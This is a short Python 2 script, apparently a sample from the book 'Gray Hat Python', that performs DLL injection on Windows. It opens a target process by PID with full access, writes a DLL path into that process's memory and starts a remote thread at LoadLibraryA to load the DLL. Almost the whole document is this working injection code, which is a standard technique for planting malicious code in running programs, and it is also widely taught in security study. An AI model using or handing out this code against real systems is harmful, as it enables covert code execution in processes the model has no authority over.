Sample ddl injection (Gray Hat Python)

dll_injection.py

import sys
from ctypes import *

PAGE_READWRITE     =     0x04
PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32 #Get the wanted dll

pid = sys.argv[1] #Gather sent parameters
dll_path = sys.argv[2]
dll_len =len(dll_path)

#Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

if not h_process:
    print "[*] Couldn't acquire a handle to the PID: %s" % pid
    sys.exit(0)

#Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)

#Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))

#We need to resolve the address for LoadLibrary1
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")

#Now we try to create the remote thread, with the entry point set
#to LoadLibraryA and a pointer to the DLL path as its single parameter
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)):
    print "[*] Failed to inject the DLL. Exiting."
    sys.exit(0)

print "[*] Remote thread with ID 0x%08x created." % thread_id.value